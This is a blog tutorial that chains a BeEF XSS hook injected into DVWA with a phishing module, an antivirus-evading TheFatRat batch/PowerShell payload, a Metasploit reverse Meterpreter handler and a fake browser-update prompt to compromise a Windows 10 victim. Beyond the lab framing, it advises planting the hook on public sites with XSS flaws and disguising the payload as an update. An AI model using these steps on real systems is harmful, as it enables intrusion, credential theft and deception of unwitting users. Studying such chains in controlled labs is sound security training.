TheFatRat and BeEF – Pre and Post Exploitation Method

A few weeks ago, I wrote about TheFatRat remote post exploit tool. The blog was primarily a guide to installing it and performing some basic functions.

This article will go a little deeper. We’re going to explore the entire attack life cycle… how a victim may potentially be infected and what an attacker could do to bypass detection by antivirus systems (AV).

The following video provided inspiration for this article, and I highly suggest you give it a look. It highlights some of the methods we are going to cover in this blog.



Lab Overview

The first thing we will do is exploit a victim’s Web browser by using an attack tool called the Browser Exploitation Framework (or more commonly, BeEF). It is a penetration testing tool that focuses on the Web browser, and can be found at:

Summary of Step 1:

We are then going to use a cross-site scripting vulnerability on a Web server to attack a victim. What we are trying to do is get a victim to browse a site and compromise the target machine using BeEF. In this lab we are going to use the Damn Vulnerable Web Application (DVWA) Web server. You could also potentially insert your code on any publicly-facing Web site or Web application that has cross- site scripting (XSS) vulnerabilities.

Summary of Step 2:

Next, we will use TheFatRat to create and package a client attack script. TheFatRat attack script is a batch file that we will eventually have the victim run on their computer. We will leverage PowerShell to do this and hopefully avoid AV detection. Results may vary. Sometimes I successfully avoid AV detection, other times I do not.

Summary of Step 3:

The last step will be to complete the infection of TheFatRat to the victim by using BeEF to socially engineer the user into running the TheFatRat attack batch file. When we do this we will get a reverse Meterpreter shell back to our client.

Lab vulnerable web server:

In our lab we will use DVWA as our Web server since we know it has built in XSS vulnerabilities and we can readily exploit it. In reality, you can use any Web site or Web server that has an available XSS vulnerability. You could also could trick the victim to directly go the ‘hooked’ BeEF Web page. I am using the DVWA v1.0.7 LiveCD ISO image for this lab which can be downloaded at:


Lab Systems:

The lab consists of the following systems:

Attacker: Kali Linux,

Web Server with XSS vulnerability: DVWA,

Victim: Windows 10 (fully patched with Microsoft Defender),


Open BeEF

From your Kali Linux machine, browse to Applications / Social Engineering / Beef XSS Framework.

Ensure BeEF is started. The BeEF console should look like the screenshot below:

Take note of the hook Web page URL. BeEF should display something similar to:

<script src=””></script>

You are going to change to the IP address of your attacker (which should be the Kali Linux machine). In my case it looked something like this:

<script src=”“></script>

Note the correct syntax and copy it into a text editor for future use.

You are going to keep this window open for the rest of this tutorial.

The BeEF administration console should be on your Kali Linux Web browser. Normally, it opens automatically a minute after starting BeEF. If it does not just navigate to the URL:

The username and password to BeEF is beef / beef

Configure DVWA

Continuing the attack from the Kali Linux system, it is time to open your Web browser, go to the DVWA server (the IP address is, and login. The username and password for DVWA is admin/password. It is, after all, vulnerable.

Since we are using DVWA, we will want to change the settings to low in order to provide XSS vulnerabilities. We are going to do this from our Kali Linux attack box. Open up a Web browser and select DVWA Security. Change the security level to low and hit submit. You will also notice the security level has changed to low on the bottom of the web browser.

Next select the XSS stored tab, and in the Kali Web browser (Firefox or Iceweasel) navigate to Tools / Web Developer / Inspector as shown below:

This will bring up the Web page inspector box. Click inside the name field on the Web page, and the inspector box will scroll to the Web source code that corresponds with that section of the page.

You can see the maxlength type is set to 10. This is not enough room for us to enter our code. We are simply going to change this number to 100.

Next, we are going to type in our XSS script command in the name field:

<script src=””></script>

When we expanded the maximum length to 100, it gave us more than enough room to enter our command.

We need to put something in the message field. Just enter anything since doesn’t matter.

Now open up another browser tab or window, and let’s go to our BeEF admin console. The BeEF admin console is located at:

Make sure you still have the BeEF terminal window open. Again, the username and password is beef.

From the victim machine (IP address browse to the Web server (DVWA, IP address You will login again using the username and password admin/password.

Make sure the security level is set to low.

Click on the XSS stored tab. You can see from the screenshot below the victim machine received a message.

Now go back to your Kali Linux machine and you will see the victim has been ’hooked’ on BeEF. In our case you can see we actually hooked our attack machine’s browser as well.

BeEF is an extremely powerful tool and you can perform a variety of social engineering attacks with it. Click on the hooked browser, then click on the commands tab. From there scroll to Social Engineering.

We will select the pretty theft attack. When we select that attack, you can see how we can socially engineer the user into revealing their Facebook ID.

When the user enters their credentials, they will be copied into your log.


Configuring TheFatRAT

Now let’s move on. Our next step to use PowerShell to distribute TheFatRat and evade AV detection.

We should already have TheFatRat installed from our previous post. Let’s go ahead and launch it by navigating to the TheFatRat directory in a new terminal or tab. When you get to the main menu for TheFatRat, select Option 6.

Next, select option 6 – Create a bat file+Powershell (FUD 100%).

Now you will be prompted to answer a list of questions:

LHOST: This is the IP address of your attack machine (Kali Linux).

LPORT: This is the port the victim will use for an outbound connection.

Output file: This is going to be the file the victim needs to run. Name it something unsuspicious so the victim will run it, such as update.

Type of Payload: Select Windows Reverse TCP Meterpreter

Leave the window open, minimize it, and open a new terminal window.


Configuring Metaploit Listener

You are now going to start a Metasploit listener.

Type msfconsole on a new terminal. When Metasploit loads, type the following commands, but make sure to adjust the IP address and the port to what you configured for your own device when you created the attack batch file on TheFatRat.

msf> use multi/handler

msf exploit(multi/handler)> set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(multi/handler)> set LHOST

msf exploit(multi/handler)> set LPORT 443

type exploit -j

Start Apache Web Server, Copy Attack Script

 In a new window we are going to start the Web server by typing ‘service apache2 start’.

Then you will copy the bat file you created with TheFatRat to the Web server directory of your attack box by issuing the command ‘cp /var/www/html’.

Now we are ready to exploit the victim by tricking them into running the attack script we created using TheFatRat.

Go back to your BeEF administration page. Hopefully your victim is still hooked. If they are not, then you might need to rehook them.

When they are hooked navigate to Social Engineering / Fake Notification Bar (Chrome).

You are now going to change the URL of the notification from the default ( to the IP address of your attack machine and the name of the attack to the script you created.

Remember that we enabled a Web server on our attack box and copied the attack script (we called in lab2) to the Web root directory. Our configuration will reflect that.

The user will get prompted for your social engineering attack through their Web browser as shown below. In a penetration test you might want to be a little more creative and call it something like Windows Update and change the description.

The user will then be prompted to run the file. In a real penetration test whereas you are testing social engineering weaknesses, you would probably want to use a registered domain.

When and if your user runs the attack script, you will have a reverse session on your Metasploit terminal window with a created session as shown below. Congratulations – you did it!